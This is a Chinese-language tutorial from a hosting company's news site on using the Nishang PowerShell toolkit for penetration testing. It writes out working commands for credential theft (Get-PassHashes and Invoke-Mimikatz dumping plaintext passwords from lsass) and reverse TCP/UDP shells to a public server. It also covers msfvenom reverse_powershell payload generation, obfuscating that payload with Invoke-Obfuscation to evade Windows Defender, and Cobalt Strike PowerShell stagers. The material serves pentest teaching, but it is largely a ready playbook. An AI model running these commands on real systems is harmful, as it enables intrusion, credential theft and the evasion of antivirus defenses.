您好,登錄后才能下訂單哦!
這篇文章主要介紹PowerShell滲透測試利器Nishang怎么用,文中介紹的非常詳細,具有一定的參考價值,感興趣的小伙伴們一定要看完!
初始PowerShell,首先我們先來了解一下概念:PowerShell可以當做是cmd(bat腳本語言)的升級版,它是Windows平臺上的腳本語言。是面向對象,是和 .Net FrameWork 密切相關的。也可以認為是Windows上的bash shell。Windows PowerShell 是一種命令行外殼程序和腳本環境,使命令行用戶和腳本編寫者可以利用 .NET Framework的強大功能。它引入了許多非常有用的新概念,從而進一步擴展了您在 Windows 命令提示符和 Windows Host 環境中獲得的知識和創建的腳本。代碼運行在內存中可以不去接觸磁盤 很多安全產品并不能監測到powershell的活動 cmd.exe通常被阻止運行,但是powershell不會。其實我們在滲透測試過程中需要繞過一些防護軟件,除了繞過腳本或者其它的工具以外,PoweShell工具其實也是一個不錯的選擇。比如,我們在目標主機上面用密碼抓取神奇mimikatz,這款由法國大牛寫的神奇相比大家都經常用,最牛逼指出是可以直接從 lsass.exe 里獵取windows處于active狀態賬號明文密碼。但是如果免殺做的不好的話,也會直接被某免殺全家桶給直接pass。利用Powershell,攻擊者可以在無需接觸磁盤的情況下執行命令。下面介紹幾款比較使用的工具:
Nishang是基于PowerShell的滲透測試專用工具,它集成了腳本和各種payload,比如抓取密碼、端口掃描、提權等。這款工具小白在日常滲透測試中使用次數較多的一款工具。首先我們需要下載這個工具,下載的地址:https://github.com/samratashok/nishang, 下載完畢后我們可以看到以下工具里面都包括一些什么
下面我們通過特定的實驗環境來演示一下滲透測試過程中常用的模塊,在演示之前需要說明幾個在運行powershell工具時遇到的幾個比較常見的錯誤,比如執行腳本的權限問題、導入模塊的問題等。
Powershell在首次導入模塊的時候是不允許的,因為默認的策略是不允許的,這時候我們需要將執行策略改為允許的,就是所謂的remotesigned。
我們查詢一下當前的執行策略是什么,Restricted是不被允許執行任何腳本的,即使你是管理員權限。我們需要修改權限,執行命令:
Set-ExecutionPolicy remotesigned,我們再次查詢當前的執行策略的時候就是remotesigned可被允許的,再次導入腳本就會成功,出現的警告提示不用理會。
執行查看導入的模塊中的腳本信息:Get-Command -Module nishang
列出本機的信息: Get-Information
現在我們也把執行權限修改了,下面就開始我們演示之旅吧。
當我們拿到一臺服務器的時候,我們需要知道目標主機是物理機還是虛機,執行命令:Check-VM
首先說明一下,nishang里面也集成了抓取密碼的腳本,先抓取一下hash值:
#Get-PassHashes //簡單直接的抓取,并顯示在dos界面;
#powershell –exec bypass –Command "& {Import-Module 'C:nishangGatherGet-PassHashes.ps1';Get-PassHashes -PSObjectFormat | Out-File hash.txt}" //獲取hash值并保存在自定義的文檔中。
既然能抓取hash值,那我們也可以抓取明文密碼,我們先看一下抓取密碼的腳本,可以看出也是運用了Mimikatz這個工具,只不過是加載了Powershell的腳本里面。
我們可以用以下命令來獲取明文密碼:
#powershell –exec bypass –Command "& {Import-Module 'C:nishangGatherInvoke-Mimikatz.ps1';Invoke-Mimikatz}" 嘗試直接抓取當前系統用戶的明文密碼。(最常用的命令)
在滲透測試中我們在做端口轉發的時候遇到一系列 的查殺全家桶,nc\lcx\sockes代理等時不時的被殺軟截胡。那么這個時候我們可以利用nishang中的端口轉發腳本進行。這里除了介紹一下自帶的端口轉發,還實驗一下配合MSF進行端口轉發,都需要一臺公網服務器。
1、TCP端口轉發(反向連接)
公網服務器上面執行監聽命令:nc -lvp 5555
目標主機執行端口轉發命令: Invoke-PowerShellTcp -Reverse -IPAddress 106.xxx.xxx.115 -Port 5555
這樣我們分別在目標主機和公網上面執行命令后,公網服務器就會反彈一個shell,這樣我們就可以執行內網服務器的命令。
2、UDP端口轉發(反向連接)
公網服務器上面執行監聽命令:nc -lup 6666
目標主機執行端口轉發命令: Invoke-PowerShellUdp -Reverse -IPAddress 106.xxx.xxx.115 -Port 6666
除了反向連接,也有正向連接,本小白在滲透測試中經常用到反向連接,如果大佬們對正向連接感興趣的話可以去搞一搞。好了我們現在利用powershell與MSF進行端口轉發,首先我們先利用命令查詢一下MSF中是否有powershell這個模塊:
##msfvenom -l payloads |grep ‘reverse_powershell //查詢powershell模塊的位置。
我們利用MSF生成一條反彈端口的一條命令:
##msfvenom -p cmd/windows/reverse_powershell lhost=106.xxx.xxx.115 lport=9999 r //生成payload,類型是Powershell,標紅的一段是需要在目標主機上面執行的命令。
下一步我們在目標主機上面執行剛才生成的一條powershell命令,在公網服務器監聽9999端口。這樣我們就可以成功的將目標主機的shell反彈到公網服務器上面。
我們也會這樣想我們如何在目標主機上面利用混淆處理繞過Windows Defender,因為我們在生成的普通的有效載荷會被Windows Defender進行查殺的,所以我們需要繞過這個檢查的機制。我們就以上面的有效載荷為例子做混淆處理來繞過Windows Defender。有的時候我們將自己生成的普通的有效載荷直接在目標主機上進行運行,可能被Windows Defender直接截胡,做混淆處理的工具當屬Daniel Bohannon提供的Invoke-Obfuscation了。該項目的Github頁面可以找到。
首先我們先啟動一下Invoke-Obfuscation這個工具:
Import-Module ./Invoke-Obfuscation.psd1 //導入Invoke-Obfuscation.psd1;
Invoke-Obfuscation //啟動Invoke-Obfuscation工具;
現在我們將剛才生成的端口轉發的有效載荷進行做混淆處理,我們首先看一下各種混淆的處理方式的參數:
有效載荷的哪些部分需要進行混淆,我們必須提前規定好,可以通過以下命令完成:
Set scriptblock '有效載荷';
我們選擇將整個命令作為字符串進行obfuse(具體選擇根據具體的滲透測試環境):
選擇1進行ASCII混淆處理,我們輸入out 1.ps1進行輸出查看,這個命令也相當于將混淆完畢的文件保存在當前目錄下,并以1.ps1:
在目標主機上面進行執行此腳本,公網服務器監聽9999端口,也可以成功的反彈內網主機的shell:
Cobalt Strike 一款以Metasploit為基礎的GUI框架式滲透測試工具,集成了端口轉發、服務掃描,自動化溢出,多模式端口監聽,exe、powershell木馬生成等。這個工具也是一款內網滲透的利器,我們這里只是說一下powershell與Cobalt Strike能夠碰觸怎樣的火花?
Cobalt Strike需要分別在客戶端和服務器端安裝,然后在啟動此工具:
首先我們先監聽一個端口,主機地址寫公網IP地址,然后就會生成一個powershell命令,將此命令在目標主機上面運行,目標主機就會上線,然后我們就可以遠程抓取密碼、提權、監聽等操作:
說實話這是這兩個工具我在這里擦出的火花只是一點點,其余的操作還有許多,有興趣的大佬可以去研究一下,這個工具在內網滲透中運用的比較多。
以上是“PowerShell滲透測試利器Nishang怎么用”這篇文章的所有內容,感謝各位的閱讀!希望分享的內容對大家有幫助,更多相關知識,歡迎關注億速云行業資訊頻道!
免責聲明:本站發布的內容(圖片、視頻和文字)以原創、轉載和分享為主,文章觀點不代表本網站立場,如果涉及侵權請聯系站長郵箱:is@yisu.com進行舉報,并提供相關證據,一經查實,將立刻刪除涉嫌侵權內容。